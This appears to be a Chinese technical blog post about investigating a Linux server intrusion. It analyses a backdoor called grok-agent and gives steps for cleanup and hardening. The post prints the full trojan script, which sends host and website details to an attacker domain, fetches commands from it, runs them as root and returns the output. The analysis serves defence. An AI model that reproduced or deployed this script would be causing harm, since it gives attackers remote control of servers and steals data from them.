【实战】记一次 Linux 服务器入侵排查:grok-agent 后门木马深度剖析与彻底清理

目录

[【实战】记一次 Linux 服务器入侵排查:grok-agent 后门木马深度剖析与彻底清理](#【实战】记一次 Linux 服务器入侵排查:grok-agent 后门木马深度剖析与彻底清理)

[0x01 背景与现象](#0x01 背景与现象)

[0x02 木马样本逆向与行为分析](#0x02 木马样本逆向与行为分析)

[1. 核心代码分析](#1. 核心代码分析)

[2. 攻击行为拆解](#2. 攻击行为拆解)

[0x03 应急响应与彻底清理指南](#0x03 应急响应与彻底清理指南)

[步骤一:切断与 C2 控制端的通信](#步骤一:切断与 C2 控制端的通信)

[步骤二:定位并清理 Systemd 守护服务](#步骤二:定位并清理 Systemd 守护服务)

步骤三:杀掉残留进程并删除恶意文件

[步骤四:清理持久化项与 SSH 后门](#步骤四:清理持久化项与 SSH 后门)

[1. 检查 Cron 定时任务](#1. 检查 Cron 定时任务)

[2. 排查 SSH 授权公钥与密码修改](#2. 排查 SSH 授权公钥与密码修改)

[0x04 总结与防范建议](#0x04 总结与防范建议)


【实战】记一次 Linux 服务器入侵排查:grok-agent 后门木马深度剖析与彻底清理

0x01 背景与现象

在日常巡检服务器或监控系统异常时,发现某台 CentOS/Ubuntu 宿主机 CPU/网络存在不异常抖动。通过 ps -ef 查看系统进程,发现了一个异常的后台 Shell 进程:

Bash

复制代码
root     4008099  0.0  0.0  22772  6916 ?        Ss   0:26 /bin/bash /opt/grok-agent/agent_loop.sh

尝试直接使用 kill -9 4008099 杀掉该进程后,不到数秒内,该进程又使用全新的 PID 重新拉起。这表明攻击者已经在系统层配置了顽固的持久化驻留机制(Persistence)。

0x02 木马样本逆向与行为分析

查看恶意脚本 /opt/grok-agent/agent_loop.sh 的源码,发现这是一个功能极其完善且具有强隐蔽性的 C2 远控木马(Remote Admin Tool / Agent)

1. 核心代码分析

Bash

复制代码
#!/bin/bash
RA_API="http://daizuoguanggaotelegramidcaishentai.com/remote-fleet"
RA_TOKEN="cdf730506791ed878c9eb6ed8fd7b404"
NID="cbdb0389-dc0"
INTERVAL=5

collect_info() {
  python3 - <<'P2'
import json, os, socket, glob, subprocess
def sh(c):
    try:
        return subprocess.check_output(c, shell=True, stderr=subprocess.DEVNULL, timeout=8).decode("utf-8", "replace").strip()
    except Exception:
        return ""
sites = [os.path.basename(p) for p in glob.glob("/www/wwwroot/*") if os.path.isdir(p)]
confs = [os.path.basename(c) for c in glob.glob("/www/server/panel/vhost/nginx/*.conf")]
ip = sh("curl -sS -m 4 ifconfig.me || curl -sS -m 4 ip.sb || hostname -I | awk '{print $1}'")
print(json.dumps({
    "hostname": socket.gethostname(),
    "ip": ip,
    "os": sh("head -3 /etc/os-release 2>/dev/null"),
    "uname": sh("uname -a"),
    "sites": sites[:80],
    "nginx_confs": confs[:40],
    "ssh": {"port": sh("grep -E '^Port ' /etc/ssh/sshd_config 2>/dev/null | awk '{print $2}' || echo 22")},
    "meta": {"who": sh("whoami")},
}, ensure_ascii=False))
P2
}

while true; do
  INFO=$(collect_info)
  # 1. 心跳上报:向 C2 服务器发送资产明细
  curl -sS -m 15 -H "Content-Type: application/json" -H "X-RA-Token: $RA_TOKEN" \
    -d "{\"node_id\":\"$NID\",\"info\":$INFO}" "$RA_API/api/heartbeat" >/dev/null 2>&1 || true

  # 2. 指令拉取与执行:拉取 C2 的待执行任务
  PULL=$(curl -sS -m 15 -H "X-RA-Token: $RA_TOKEN" "$RA_API/api/pull?node_id=$NID&token=$RA_TOKEN" 2>/dev/null || echo '{}')
  echo "$PULL" | RA_API="$RA_API" RA_TOKEN="$RA_TOKEN" python3 -c '
import sys, json, subprocess, os, urllib.request
pull = json.loads(sys.stdin.read() or "{}")
api = os.environ.get("RA_API", "")
token = os.environ.get("RA_TOKEN", "")
for j in pull.get("jobs") or []:
    jid = j.get("id")
    cmd = j.get("cmd") or ""
    timeout = int(j.get("timeout") or 120)
    try:
        # 以 root 权限执行 C2 下发的任意 Bash 命令
        p = subprocess.Popen(["bash", "-lc", cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
        out, err = p.communicate(timeout=timeout)
        code = p.returncode
    except Exception as e:
        out, err, code = "", str(e), 1
    # 3. 结果回传:将命令执行结果回传给攻击者
    body = json.dumps({"job_id": jid, "exit_code": code, "stdout": out[-200000:], "stderr": str(err)[-50000:]}, ensure_ascii=False).encode()
    req = urllib.request.Request(api + "/api/result", data=body, headers={"Content-Type": "application/json", "X-RA-Token": token}, method="POST")
    try:
        urllib.request.urlopen(req, timeout=20).read()
    except Exception:
        pass
'
  sleep $INTERVAL
done

2. 攻击行为拆解

模块 攻击机制 危害级别
敏感信息窃取 专门检索 /www/wwwroot/*(网站目录)和 /www/server/panel/vhost/nginx/*.conf(宝塔/Nginx 域名配置),定位核心业务资产。 🔴 高危
C2 通信(心跳) 5 秒 向黑客域名 daizuoguanggaotelegramidcaishentai.com 发送 HTTP POST 心跳包。 🔴 高危
远程命令执行(RCE) 通过 /api/pull 轮询任务队列,使用 Python subprocess.Popen 直接以 root 身份执行任意 Bash 命令,并回传命令标准输出与错误日志。 🔴 极危
持久化驻留 注册名为 grok-agent.service 的 Systemd 服务,保障木马进程挂掉后由 Systemd 自动拉起。 🟠 中高危

0x03 应急响应与彻底清理指南

针对此类包含 Systemd 服务守护的后门,不能直接 kill 进程 ,必须遵循 "断连 -> 阻断守护 -> 清理文件 -> 排查后门" 的顺序。

步骤一:切断与 C2 控制端的通信

在清理系统之前,首先通过域名解析阻断攻击者下发指令:

Bash

复制代码
# 将攻击者控制端域名强制指向本地环回地址
echo "127.0.0.1 daizuoguanggaotelegramidcaishentai.com" >> /etc/hosts

步骤二:定位并清理 Systemd 守护服务

排查服务配置文件,彻底关停并卸载该服务:

Bash

复制代码
# 1. 查找包含 grok-agent 的服务配置文件
grep -rn "grok-agent" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null

# 2. 停止服务并取消开机自启
systemctl stop grok-agent.service
systemctl disable grok-agent.service

# 3. 删除服务配置文件并重载配置
rm -f /etc/systemd/system/grok-agent.service
systemctl daemon-reload
systemctl reset-failed

步骤三:杀掉残留进程并删除恶意文件

Bash

复制代码
# 1. 强行终止木马进程
pkill -9 -f agent_loop.sh
pkill -9 -f grok-agent

# 2. 彻底删除恶意脚本目录
rm -rf /opt/grok-agent

步骤四:清理持久化项与 SSH 后门

黑客获取 root 权限后,极大概率会留下其他后门。

1. 检查 Cron 定时任务

Bash

复制代码
crontab -l
cat /etc/crontab
ls -la /etc/cron.*/

如发现包含 /opt/grok-agent 或可疑 URL 的条目,立即删除。

2. 排查 SSH 授权公钥与密码修改

Bash

复制代码
# 检查 root 的 SSH 授权密钥
cat /root/.ssh/authorized_keys

# 删除不属于团队的未知公钥后,立即重置 root 密码
passwd root

0x04 总结与防范建议

  1. 入侵排查思路 :遇到"杀不掉"的 Linux 进程,优先排查 Systemd 服务/etc/systemd/system/)、Cron 计划任务 以及 /etc/rc.local,切断守护机制是解决问题的关键。

  2. Web 面板加固 :样本针对宝塔面板目录(/www/server/panel)进行了专门的配置窃取,通常是由于面板旧版本 RCE 漏洞或弱口令切入导致。建议定期升级面板版本、关闭默认 8888 端口,并开启二步验证(2FA)

  3. 网络层管控:生产环境建议通过安全组/防火墙仅开放必要的服务端口,对出站流量(Egress)实施严格的安全策略,阻止未知域名/IP 的 HTTP 请求。

相关推荐
大侠锅锅2 小时前
第 19 篇:远程运维体系——指标、SSH、日志与 OTA 升级
运维·ssh
灵机一物3 小时前
企业选型参考:2026 CXL 内存扩展方案六强测评与落地指南
服务器·网络·数据库·人工智能
Web极客码3 小时前
如何用三段式确定性剪枝,为 LLM Agent 砍掉 35% 的 Token 成本?
服务器·人工智能·算法·机器学习
yeflx3 小时前
速腾Airy雷达使用记录
java·服务器·网络
公众号:fuwuqiBMC4 小时前
(转自“服务器BMC”)服务器BMC芯片——多Die(芯片)封装
运维·服务器·人工智能
jsons14 小时前
autofs挂载
linux·服务器·网络
liwulin05064 小时前
【ollama】自定义结构化输出
linux·前端·数据库·ollama
霸道流氓气质5 小时前
ApiPost 中配置自动获取 Token 并调用业务接口完整指南
java·服务器·数据库
时空无限5 小时前
vllm 大模型启动缓存相关环境变量 export
linux·缓存·vllm